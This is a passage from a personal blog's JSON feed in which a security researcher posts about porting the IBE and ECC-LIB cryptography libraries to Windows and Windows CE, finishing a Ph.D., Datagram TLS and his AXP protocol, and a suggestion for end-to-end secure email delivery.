library","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2006\/02\/14\/ibelib-win\/"}},"updated":"2006-02-14T00:00:00+00:00","id":"https:\/\/argp.github.io\/2006\/02\/14\/ibelib-win","content":"<p>I recently ported the <a href=\"http:\/\/crypto.stanford.edu\/ibe\/\">Stanford IBE library<\/a>\nto <a href=\"https:\/\/github.com\/argp\/ibe-win32\">Windows<\/a> and\n<a href=\"https:\/\/github.com\/argp\/ibe-wince\">Windows CE<\/a>.<\/p>\n\n<p>My Windows port builds natively using the MSVC++ development tools, while\nthe one provided at the Stanford IBE page was cross-compiled for Windows\nwith a Linux port of mingw and only includes the application binaries.<\/p>\n\n<p>Note: On Windows CE the generation of the\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Solinas_prime\">Solinas prime<\/a> in the\nfunction <code class=\"language-plaintext highlighter-rouge\">IBE_setup<\/code> (file <code class=\"language-plaintext highlighter-rouge\">ibe_lib.c<\/code>) usually takes a couple of seconds.<\/p>\n"},{"title":"Not a new beginning","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2006\/02\/03\/not-a-new-beginning\/"}},"updated":"2006-02-03T00:00:00+00:00","id":"https:\/\/argp.github.io\/2006\/02\/03\/not-a-new-beginning","content":"<p>I successfully defended my Ph.D. thesis yesterday. My external examiner was\n<a href=\"http:\/\/www.cs.kent.ac.uk\/people\/staff\/dwc8\/\">Professor David Chadwick<\/a> and\nour discussion was extremely interesting and thought provoking. I will make\na few minor corrections during the next couple of weeks and submit the final\nthesis. Thanks to everyone who sent their congratulations.<\/p>\n"},{"title":"Datagram TLS and the Authorization eXchange Protocol (AXP)","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2005\/08\/30\/datagram-tls-axp\/"}},"updated":"2005-08-30T00:00:00+00:00","id":"https:\/\/argp.github.io\/2005\/08\/30\/datagram-tls-axp","content":"<p>The <a href=\"http:\/\/dev.openssl.org\/source\/repos.html\">OpenSSL repository<\/a> now includes\n<a href=\"http:\/\/crypto.stanford.edu\/~nagendra\/papers\/dtls.pdf\">Datagram TLS (DTLS)<\/a>\nsupport. More than a year ago I designed and implemented a security protocol for\nthe NTRG ad hoc networking stack that uses UDP at the transport layer, the\n<a href=\"http:\/\/doi.ieeecomputersociety.org\/10.1109\/ISCC.2005.146\">Authorization eXchange Protocol (AXP)<\/a>.<\/p>\n\n<p>The main goal of AXP is to provide a modular and extensible solution to the problem\nof exchanging authorization credentials. If I had DTLS back then it would have\nmade my life so much easier. I would have simply focused on the problem that I was\ninterested in, flexibility in transmitting and receiving service access requests and\nreplies along with the credentials that are required to support them, instead of\nspending huge amounts of time designing and coding an SSL\/TLS alternative for\ndatagram transport protocols.<\/p>\n"},{"title":"RSA European Information Security Awards 2004","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2004\/11\/27\/rsa-eu-2004\/"}},"updated":"2004-11-27T00:00:00+00:00","id":"https:\/\/argp.github.io\/2004\/11\/27\/rsa-eu-2004","content":"<p><a href=\"http:\/\/www.mee.tcd.ie\/~ledoyle\/EMERGINGNETWORKS\/pages\/aether.htm\">\u00c6THER<\/a>\n(the name of the architecture that I have designed and implemented for my Ph.D.)\nhas been selected as a finalist project in the research and development category\nof the 2004 RSA European Information Security Awards. I didn\u2019t win, but I got a\ncomplimentary registration at RSA Conference Europe 2004. Visiting Barcelona was\na great experience and I met some really interesting people at the conference. I\neven saw, but unfortunately didn\u2019t have a chance to meet, Bruce Schneier.<\/p>\n"},{"title":"Let's make email more secure, a simple suggestion","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2004\/09\/02\/secure-email-suggestion\/"}},"updated":"2004-09-02T00:00:00+00:00","id":"https:\/\/argp.github.io\/2004\/09\/02\/secure-email-suggestion","content":"<p>No, this post will not discuss possible solutions to the problem of spam. If you\nare interested in such proposals be sure to check out <a href=\"http:\/\/loaf.cantbedone.org\/\">LOAF<\/a>,\nan elegant system based on social networking ideas.<\/p>\n\n<p>My suggestion concerns something far more simple. Message delivery. Think what\nhappens when you send an email. Your email client delivers the outgoing message\nto the email server of your local domain (like your ISP\u2019s or university\u2019s email\nserver). This email server then contacts the email server of the recipient\u2019s\ndomain and forwards the message there. When the recipient checks for new messages\nusing her email client she retrieves your email. Actually this is the best case\nscenario. There may be more domain email servers in between. My suggestion is\nsimply to change the behavior of email clients in order to deliver messages directly\nto the email server of the recipient, avoiding the initial unnecessary step of\ntemporarily storing messages on the sender\u2019s domain email server.<\/p>\n\n<p>Now, let\u2019s take this a step further. DSL and cable connections are quickly becoming\npervasive. Most Internet users are now having constant connections. This allows the\noperation of email servers on the users\u2019 computers, enabling the delivery of email\nmessages directly from the sender to the recipient. Of course, in order to be sure\nthat no messages are lost the ISP of the user can provide a secondary email server\nto store incoming messages in the case the user has turned off his computer.<\/p>\n\n<p>Since we came this far, why not go all the way? The main problem of\n<a href=\"http:\/\/www.ietf.org\/rfc\/rfc2487.txt\">SMTP over TLS<\/a> is that it does not offer\nend-to-end security, since the establishment of a TLS session between two email\nservers does not mean that the entire SMTP chain from the sender to the recipient\nhas been secured. However, if we implement my suggestion from the previous paragraph\nwe have just solved this problem.<\/p>\n\n<p>I am aware that all these cannot and will not happen overnight. However, I think that\nmy first suggestion regarding the delivery of email messages from the client utility\nof the sender to the email server of the recipient\u2019s domain is a realistic one that\ncan easily be implemented. And this small first step will bring us closer to what we\nall want, end-to-end secure email.<\/p>\n"},{"title":"ECC-LIB port for Windows and Windows CE","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2004\/02\/07\/ecclib-win\/"}},"updated":"2004-02-07T00:00:00+00:00","id":"https:\/\/argp.github.io\/2004\/02\/07\/ecclib-win","content":"<p>I have ported the elliptic curve cryptography library\n(<a href=\"http:\/\/www.ceid.upatras.gr\/faculty\/zaro\/software\/ecc-lib\/\">ECC-LIB<\/a>) written\nby Elisavet Konstantinou, Yannis Stamatiou and Christos Zaroliagis to\n<a href=\"https:\/\/github.com\/argp\/ecc-lib-win32\">Windows<\/a> and\n<a href=\"https:\/\/github.com\/argp\/ecc-lib-wince\">Windows CE<\/a>. You also need to get my port\nof GMP to <a href=\"https:\/\/github.com\/argp\/gmp-win32\">Windows<\/a> and\n<a href=\"https:\/\/github.com\/argp\/gmp-wince\">Windows CE<\/a>, which is required for the\ncompilation and use of ECC-LIB.<\/p>\n\n<p>I have extensively tested both these ports on Windows XP and CE and I am satisfied\nwith their stability. Unfortunately, I only have access to Compaq iPAQ H3630 (ARM)\nhandhelds running the Windows CE (3.00) Pocket PC 2002 operating system. If you\nhave any other handheld configuration running a different version of CE and test\nthese ports, please let me know. At the moment I am working towards a detailed\nperformance analysis of ECC-LIB on WinCE. I think that the comparison with some of\n<a href=\"\/public\/crypto-nca04.pdf\">my previous results<\/a> will be very interesting.<\/p>\n"}]}